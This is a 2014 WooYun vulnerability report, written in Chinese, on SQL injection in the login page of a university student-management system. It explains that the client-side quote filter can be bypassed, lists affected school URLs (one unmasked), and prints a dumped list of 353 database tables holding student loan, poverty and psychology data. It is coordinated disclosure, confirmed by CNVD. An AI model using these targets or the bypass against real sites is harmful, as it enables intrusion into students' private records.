乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-07: 细节已通知厂商并且等待厂商处理中 2014-05-10: 厂商已经确认,细节仅向厂商公开 2014-05-20: 细节向核心白帽子及相关领域专家公开 2014-05-30: 细节向普通白帽子公开 2014-06-09: 细节向实习白帽子公开 2014-06-21: 细节向公众公开
大家都听说Cncert要发钱了,都吓得坐地上了,当时大家接到消息就以为要查水表了~吓得我也坐地上了=_=!!
#1.由奥达软件开发的一所高校管理系统存在注入漏洞,注入漏洞发生在登录框中虽然存在s的判断用户数据提交的合法性,但是这都是可以绕过的=_=!例子:
http://202.***.***.50/login/loginpageforuserb.aspx?LogoutURL=%2flogin
看看登录页面源代码,可以看到的确是JS限制了=_=!
<script type="text/javascript">//<![CDATA[var VS___Page = document.all ? document.all["VS___Page"] : document.getElementById("VS___Page");VS___Page.headertext = "您的输入有以下错误:";VS___Page.showmessagebox = "True";VS___Page.showsummary = "False";var RFV_txtUserId = document.all ? document.all["RFV_txtUserId"] : document.getElementById("RFV_txtUserId");RFV_txtUserId.controltovalidate = "txtUserId";RFV_txtUserId.errormessage = "[用户名]不能为空!";RFV_txtUserId.display = "None";RFV_txtUserId.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";RFV_txtUserId.initialvalue = "";var REV_txtUserId = document.all ? document.all["REV_txtUserId"] : document.getElementById("REV_txtUserId");REV_txtUserId.controltovalidate = "txtUserId";REV_txtUserId.errormessage = "[用户名]格式错误,正确形式:不允许输入英文单引号\'";REV_txtUserId.display = "None";REV_txtUserId.evaluationfunction = "RegularExpressionValidatorEvaluateIsValid";REV_txtUserId.validationexpression = "[^\']*";var RFV_txtPwd = document.all ? document.all["RFV_txtPwd"] : document.getElementById("RFV_txtPwd");RFV_txtPwd.controltovalidate = "txtPwd";RFV_txtPwd.errormessage = "[密码]不能为空!";RFV_txtPwd.display = "None";RFV_txtPwd.evaluationfunction = "RequiredFieldValidatorEvaluateIsValid";RFV_txtPwd.initialvalue = "";var REV_txtPwd = document.all ? document.all["REV_txtPwd"] : document.getElementById("REV_txtPwd");REV_txtPwd.controltovalidate = "txtPwd";REV_txtPwd.errormessage = "[密码]格式错误,正确形式:不允许输入英文单引号\'";REV_txtPwd.display = "None";REV_txtPwd.evaluationfunction = "RegularExpressionValidatorEvaluateIsValid";REV_txtPwd.validationexpression = "[^\']*";//]]></script>
抓包吧=_=!!然后我们继续提交,绕过本地JS限制=_=!!
枚举几个案例<警:以下案例仅供Cncert复现测试,其它人不得非法使用,否则后果自负>:
http://zhaojiu.xzmy.edu.cn/login/loginpageforuserb.aspx?LogoutURL=/login&c=1 西藏民族学院http://job.***.edu.cn/Login/loginpageforuserb.aspx?LogoutURL= http://202.***.***.50/login/loginpageforuserb.aspx?LogoutURL=/login http://202.***.***.29/Login/loginpageforuserb.aspx?LogoutURL=/login http://202.***.***.62:5002/Login/LoginPageForuserB.aspx http://xg.***.edu.cn/Login/loginpageforuserb.aspx?LogoutURL=/login&c=1 http://219.***.***.28/login/loginpageforstudentb.aspx
以某科技大学为例演示:
http://202.***.***.50/login/loginpageforuserb.aspx?LogoutURL=/login
Database: Studwork6[353 tables]+-------------------------------+| dbo.I$_tstud_Student || dbo.J$tsys_NoticeType || dbo.JV$Dtsys_NoticeType || dbo.JV$tsys_NoticeType || dbo.SNP_CDC_OBJECTS || dbo.SNP_CDC_SET || dbo.SNP_CDC_SET_TABLE || dbo.SNP_CDC_SUBS || dbo.SNP_CHECK_TAB || dbo.VoteList || dbo.Vsign_AgtRegistry || dbo.Vsign_AgtRegistryFell || dbo.Vsign_AgtRegistryOrder || dbo.[Vdorm_buildingInfo【不用】] || dbo.[tDorm_User[不用] || dbo.[tsys_Modules_测试] || dbo.[tsys_NoticeType学工网站] || dbo.[vDorm_OccupiedRoom[不用] || dbo.dtproperties || dbo.qg || dbo.setup || dbo.sysconstraints || dbo.syssegments || dbo.tAcc_File || dbo.tCadreGroup_state || dbo.tCadre_dimission || dbo.tCode_DeregReason || dbo.tDerate_Temp || dbo.tDorm_Area || dbo.tDorm_Bed || dbo.tDorm_Building || dbo.tDorm_ChargeHistory || dbo.tDorm_History || dbo.tDorm_RewardHistory || dbo.tDorm_Room || dbo.tDorm_RoomMaster || dbo.tDorm_RoomType || dbo.tDrom_BuildingUser || dbo.tEmp_BothMeeting || dbo.tEmp_BothMeetingUnit || dbo.tEmp_BothMeetingUnitSpec || dbo.tEmp_UnitVideo || dbo.tEmp_ViewCounter || dbo.tEmp_codeComputerLevel || dbo.tEmp_codeLiteracyDegree || dbo.tEmp_codeMandarin || dbo.tEmp_codeUnitEconomyType || dbo.tEmp_codeUnitLevel || dbo.tEmp_codeUnitSubjection || dbo.tEmp_codeUnitTrade || dbo.tEmp_codeUnitType || dbo.tEmp_codeWageManageType || dbo.tEmp_gbRegionalism || dbo.tEmp_pblDeptDate || dbo.tEmp_pblEmployment || dbo.tEmp_pblSpecIntro || dbo.tEmp_signAgtRegistry || dbo.tEmp_studAcc || dbo.tEmp_studFavorite || dbo.tEmp_studIntro || dbo.tEmp_studTouch || dbo.tEmp_unitAcc || dbo.tEmp_unitBaseInfo || dbo.tEmp_unitEmploy || dbo.tEmp_unitFavorite || dbo.tFile_Video || dbo.tGreen_Apply || dbo.tMin_Activity || dbo.tMin_InMoney || dbo.tMin_OutMoney || dbo.tMin_Visit || dbo.tPoor_Student || dbo.tPoor_StudentRevocation || dbo.tPopedom_Atom || dbo.tReg_register || dbo.tSim_Appraise || dbo.tSim_Punish || dbo.tSim_Reward || dbo.tSloan_Apply || dbo.tSloan_ApplyAuditing || dbo.tSloan_Condition || dbo.tSloan_Exempt || dbo.tSloan_ExemptAuditing || dbo.tSloan_Repay || dbo.tSloan_Type || dbo.tSloan_Unit || dbo.tStudCadre_Info || dbo.tStudCadre_Type || dbo.tStudCadre_Unit || dbo.tStud_AllowApply || dbo.tTemp_Apply || dbo.tarm_AwardList || dbo.tarm_StudCourse || dbo.tarm_StudLevy || dbo.tarm_StudRecord || dbo.tarm_policy || dbo.tarrear_enrol || dbo.tarrear_ratify || dbo.tarrear_repay || dbo.tasl_Affirm || dbo.tasl_Bank || dbo.tasl_BankAuditing || dbo.tasl_BankBargain || dbo.tasl_Breach || dbo.tasl_Compensate || dbo.tasl_End || dbo.tasl_Estate || dbo.tasl_Extend || dbo.tasl_Familial || dbo.tasl_Imburse || dbo.tasl_LoanType || dbo.tasl_Postponed || dbo.tasl_SchoolAuditing || dbo.tasl_SchoolAuditingIdea || dbo.tasl_StudRequisition || dbo.tasl_Whither || dbo.tbase_Department || dbo.tbase_Teacher || dbo.tbase_User || dbo.tbase_UserID_UserNO || dbo.tborrow_enrol || dbo.tborrow_ratify || dbo.tborrow_repay || dbo.tcard_AllowSpec || dbo.tcard_InviteUnit || dbo.tcard_MakeCard || dbo.tcard_ScanCard || dbo.tcgb_Folk || dbo.tcgb_PolityVisage || dbo.tcgb_Regionalism || dbo.tcgt_AwardGrade || dbo.tcgt_AwardList || dbo.tcgt_ClassRelation || dbo.tcgt_StudCourse || dbo.tcgt_StudRecord || dbo.tcgt_stdResultCell || dbo.tcgt_stdScale || dbo.tcmoe_BloodType || dbo.tcmoe_Emigrant || dbo.tcmoe_PunishType || dbo.tcmoe_RewardLevel || dbo.tcmoe_RewardType || dbo.tcmoe_StatusChangeCause || dbo.tcmoe_StatusChangeType || dbo.tcode_Academic || dbo.tcode_Aspect || dbo.tcode_Degree || dbo.tcode_LenOfSchool || dbo.tcode_Post || dbo.tcode_PsychologyLevel || dbo.tcode_StudType || dbo.tcode_TeacherRole || dbo.tcode_poorType || dbo.tcpt_BranchActivity || dbo.tcpt_ClassRelation || dbo.tcpt_Document || dbo.tcpt_MemberStudy || dbo.tcpt_PartyActive || dbo.tcpt_PartyBranch || dbo.tcpt_PartyMember || dbo.tcpt_PartyPrep || dbo.tcpt_PersonRelation || dbo.tcpt_Requisition || dbo.tderate_AuditSchooling || dbo.tderate_RegSchooling || dbo.temp_CodeStudType || dbo.temp_SMS || dbo.temp_Student || dbo.temp_displayitem || dbo.tev_ClassAssess || dbo.tev_ClassAssessTemp || dbo.tev_EvaluatingItem || dbo.tev_EvaluatingType || dbo.tev_StudAssess || dbo.tev_StudAssessTemp || dbo.tgreen_Charge || dbo.tgreen_temp || dbo.titem_DeregType || dbo.titem_PartyBranchType || dbo.titem_PartyMemberType || dbo.titem_PartySchoolType || dbo.tlv_Procedure || dbo.tlv_RegForGraduate || dbo.tlv_Schema || dbo.tmem_BookEnrol || dbo.tmem_ChooseCadre || dbo.tmem_Development || dbo.tmem_DevelopmentNum || dbo.tmem_MemBerDocment || dbo.tmem_MemCharge || dbo.tmem_Member || dbo.tmem_OrgType || dbo.tmem_Party || dbo.tmem_PartyNum || dbo.tmem_Record || dbo.tmem_Rewards || dbo.tmem_TrainDepartment || dbo.tmem_TrainManInfo || dbo.tmem_orgMan || dbo.tmem_organization || dbo.tmema_ActivityApply || dbo.tmema_ActivityAudit || dbo.tmema_ActivityField || dbo.tmema_AssnJob || dbo.tmema_AssnMember || dbo.tmemp_Activity || dbo.tmemp_ComAuthor || dbo.tmemp_ComManuscript || dbo.tmemp_ComReport || dbo.tmemp_PublicationIssue || dbo.tmemp_PulicJob || dbo.tpopedom_UserBackManage || dbo.tpopedom_UserModule || dbo.tpsy_BBSMain || dbo.tpsy_BBSRestore || dbo.tpsy_Dossier || dbo.tpsy_Emphases || dbo.tpsy_Preengage || dbo.tpsy_Talk || dbo.tpsy_Work || dbo.tpunish_Information || dbo.tpunish_Repeal || dbo.tqgzx || dbo.tqgzx1128 || dbo.tqgzxbf || dbo.treward_Information || dbo.treward_InformationG || dbo.treward_Repeal || dbo.treward_Type || dbo.tsafety_InsurePayforMoney || dbo.tsafety_InsureRegStudent || dbo.tsafety_SafetyGrade || dbo.tschol_Annotion || dbo.tschol_Apply || dbo.tschol_Classify || dbo.tschol_Quotas || dbo.tschol_RankObj || dbo.tssc_History || dbo.tstipend_Annotion || dbo.tstipend_Apply || dbo.tstipend_Classify || dbo.tstipend_Quotas || dbo.tstipend_RankObj || dbo.tstud_Accessories || dbo.tstud_CardPrint || dbo.tstud_CardPrintFiled || dbo.tstud_Educate || dbo.tstud_Family || dbo.tstud_FieldEdit || dbo.tstud_Graduate || dbo.tstud_NewStudent || dbo.tstud_Student || dbo.tstud_StudentTest || dbo.tsubsidy_Annotion || dbo.tsubsidy_Apply || dbo.tsubsidy_Classify || dbo.tsubsidy_Quotas || dbo.tsubsidy_RankObj || dbo.tsys_Download || dbo.tsys_EmpNavigation || dbo.tsys_FriendlyLink || dbo.tsys_Message || dbo.tsys_Modules || dbo.tsys_Notice || dbo.tsys_NoticeInterface || dbo.tsys_NoticeType || dbo.tsys_Options || dbo.tsys_VoteList || dbo.tsys_VoteProject || dbo.tsys_VoteRen || dbo.tsys_loginLog || dbo.tsys_loginSession || dbo.tt || dbo.twl_WorkLog || dbo.twork_Apply || dbo.twork_CheckIn || dbo.twork_Department || dbo.twork_PayMoney || dbo.twork_PostObj || dbo.twork_PostType || dbo.vAloan_ListAff || dbo.vAloan_ListBasic || dbo.vAloan_ListExtend || dbo.vCadreGroup_state || dbo.vDerate_green_Stat || dbo.vDorm_AllRoomDetail || dbo.vDorm_Bed || dbo.vDorm_BuidingCode || dbo.vDorm_CanBePreared || dbo.vDorm_CanUseBed || dbo.vDorm_Preared || dbo.vDorm_StudBedInfo || dbo.vDorm_UsedBed || dbo.vDorm_building || dbo.vDorm_room || dbo.vDorm_student || dbo.vGreen_Apply || dbo.vGreen_YearsMoney || dbo.vMin_EmpSearch || dbo.vMin_RPSearch || dbo.vMin_ScholSearch || dbo.vMin_Stipent || dbo.vMin_SubSearch || dbo.vMin_SysNumber || dbo.vMin_WorkStudSearch || dbo.vSchol_QuotaForDept || dbo.vSim_Reward || dbo.vbase_Department || dbo.vbase_UserStudAllForLogin || dbo.vcard_Student || dbo.vcgt_AwardList || dbo.vcgt_StatGradeRecord || dbo.vcgt_StudSumRecord || dbo.vcgt_student || dbo.vderate_RegSchooling || dbo.vderate_XNMoney || dbo.vderate_YearsMoney || dbo.vemp_StudCompleteInfo || dbo.vemp_Student || dbo.vemp_StudentAll || dbo.vgreen_StudApply || dbo.vins_InsGrade || dbo.vjob_StudInfo || dbo.vlv_GraduateState || dbo.vparty_PersonRelation || dbo.vparty_StatBranchSum || dbo.vpopedom_UserModule || dbo.vpsy_Dossier || dbo.vsafety_StatDeptInsurePay || dbo.vsafety_StatDeptInsureSum || dbo.vschol_Classify || dbo.vschol_QuotaForClass || dbo.vschol_QuotaForGrade || dbo.vschol_XNMoney || dbo.vschol_YearsMoney || dbo.vstipend_Classify || dbo.vstipend_QuotaForClass || dbo.vstipend_QuotaForDept || dbo.vstipend_QuotaForGrade || dbo.vstipend_XNMoney || dbo.vstipend_YearsMoney || dbo.vstud_Student || dbo.vstud_StudentAll || dbo.vstud_StudentGraduate || dbo.vstud_StudentInschool || dbo.vsubsidy_Classify || dbo.vsubsidy_QuotaForClass || dbo.vsubsidy_QuotaForDept || dbo.vsubsidy_QuotaForGrade || dbo.vsubsidy_XNMoney || dbo.vsubsidy_YearsMoney || dbo.vunit_Unit || dbo.vwork_Department |+-------------------------------+
后台就不入了,学生管理系统,没有学生信息就不可能的事情了~
危害等级:高
漏洞Rank:15
确认时间:2014-05-10 00:10
CNVD确认并复现所述情况(由上海交通大学协助完成教育网内验证工作),已经转由CNCERT通报给教育网应急组织赛尔网络公司并抄报CCERT处置。
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